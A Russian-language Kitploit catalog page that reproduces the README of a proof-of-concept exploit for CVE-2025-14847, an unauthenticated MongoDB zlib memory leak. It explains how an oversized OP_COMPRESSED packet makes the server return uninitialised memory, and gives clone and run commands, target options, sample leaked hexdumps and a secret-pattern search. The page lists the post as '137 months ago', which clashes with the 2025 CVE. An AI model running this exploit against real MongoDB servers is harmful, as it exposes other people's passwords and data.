Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-14847 — CVE-2025-14847 – эксплойт утечки памяти MongoDB без аутентификации | Kitploit
Инструменты/GitHubGitHub/lincemorado97/cve-2025-14847
Криминалистика памятиАнализ уязвимостейЭксплуатацияЭксфильтрация данныхТестирование на ПроникновениеБезопасность Баз Данных
GitHublincemorado97/cve-2025-14847

CVE-2025-14847

CVE-2025-14847 – эксплойт утечки памяти MongoDB без аутентификации

Репозиторий
137 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-14847 – Эксплойт MongoDB для утечки памяти без аутентификации

Обзор

Эксплойт типа proof‑of‑concept (PoC) для уязвимости zlib-декомпрессии MongoDB, которая позволяет неаутентифицированным злоумышленникам читать чувствительные данные из памяти сервера.
PoC реализован на Python 3 и демонстрирует, как вредоносный пакет OP_COMPRESSED может инициировать срабатывание ошибки, заставляя MongoDB возвращать неинициализированную память в качестве BSON-данных.


Что делает эксплойт

Уязвимость вызвана ошибкой в декомпрессии zlib-сообщений MongoDB:

  1. Отправляется сжатое сообщение с завышенным значением uncompressedSize.
  2. MongoDB выделяет большой буфер на основе этого завышенного значения.
  3. zlib распаковывает фактические данные в начало этого буфера.
  4. MongoDB обрабатывает весь буфер как допустимые данные, что приводит к чтению неинициализированной памяти.
  5. Затем синтаксический анализатор BSON читает «имена полей» из этой памяти до тех пор, пока не встретит нулевой байт, раскрывая скрытые данные.

PoC отправляет специально сформированный пакет OP_COMPRESSED и анализирует ответ об ошибке от сервера, чтобы восстановить фрагменты утёкших данных.


Предварительные требования

КомпонентВерсияПримечания
Python≥ 3.8Скрипт работает только на Python 3
MongoDB≥ 4.4Целевой сервер должен быть уязвим к CVE‑2025‑14847
Необязательно

Установка

root@kitploit:~
# Clone the repo (or copy the script)
git clone https://github.com/lincemorado97/CVE-2025-14847.git
cd cve-2025-14847

# (Optional) Install required Python packages
pip install -r requirements.txt

Использование

root@kitploit:~
python exploit.py [OPTIONS]

Пример:

root@kitploit:~
python exploit.py --host 10.0.0.5 --port 27017 --min-offset 50 --max-offset 5000 --output leaks.bin

Пример

root@kitploit:~
$ python3 exploit.py 
11:02:41 CVE-2025-14847     INFO │ [*] Target: localhost:27017
11:02:41 CVE-2025-14847     INFO │ [*] Scanning offsets 20-8192
11:02:41 CVE-2025-14847     INFO │ Offset      Hex                                              ASCII
11:02:41 CVE-2025-14847     INFO │ ---------------------------------------------------------------------------
11:02:41 CVE-2025-14847     INFO │ 00000000:  20 6f 62 6a 65 63 74 20 77 69 74 68 20 75 6e 6b  | object with unk|
11:02:41 CVE-2025-14847     INFO │ 00000010:  6e 6f 77 6e 20 5f 69 64                          |nown _id|
11:02:41 CVE-2025-14847     INFO │ [+] offset=  39 len=  24:
11:02:45 CVE-2025-14847     INFO │ Offset      Hex                                              ASCII
11:02:45 CVE-2025-14847     INFO │ ---------------------------------------------------------------------------
11:02:45 CVE-2025-14847     INFO │ 00000000:  73 20 73 6b 69 70 70 65 64 20 64 75 72 69 6e 67  |s skipped during|
11:02:45 CVE-2025-14847     INFO │ 00000010:  20 74 72 65 65 20 77 61 6c 6b                    | tree walk|
11:02:45 CVE-2025-14847     INFO │ [+] offset=3064 len=  26:
11:02:50 CVE-2025-14847     INFO │ Offset      Hex                                              ASCII
....
11:02:50 CVE-2025-14847     INFO │ [+] offset=6663 len=  38:
11:02:52 CVE-2025-14847  SUCCESS │ [*] Total leaked: 496 bytes
11:02:52 CVE-2025-14847  SUCCESS │ [*] Unique fragments: 85
11:02:52 CVE-2025-14847  SUCCESS │ [*] Saved to: leaked.bin

Скрипт записывает в журнал каждый интересный фрагмент (длина > 10 байт) и выводит hexdump. Все утёкшие данные добавляются в файл leaked.bin.

demo


Понимание вывода

  • Hexdump: показывает подмножество утёкших данных в шестнадцатеричном виде и ASCII.
  • Строки журнала: [+] offset= <doc_len> len= <len> указывают, где был найден фрагмент.
  • Всего утёкших данных: байты, записанные в выходной файл.
  • Уникальные фрагменты: обнаруженные отдельные блоки данных.
  • Обнаружение секретов: скрипт выводит любые из предопределённых шаблонов (password, secret и т. д.), найденных в утёкших данных.

Ссылки

  • CVE-2025-14847 – https://nvd.nist.gov/vuln/detail/CVE-2025-14847
  • Анализ: https://www.ox.security/blog/attackers-could-exploit-zlib-to-exfiltrate-data-cve-2025-14847/

Отказ от ответственности

Данный PoC предоставляется «как есть» без каких-либо гарантий. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый данным скриптом. Используйте его на свой страх и риск.

Скачать инструмент
requirements.txt
Предоставлен в репозитории
ПараметрПо умолчаниюОписание
--hostlocalhostЦелевой хост MongoDB
--port27017Целевой порт MongoDB
--min-offset20Минимальная длина документа для проверки
--max-offset8192Максимальная длина документа для проверки
--outputleaked.binФайл, в который сохраняются утёкшие данные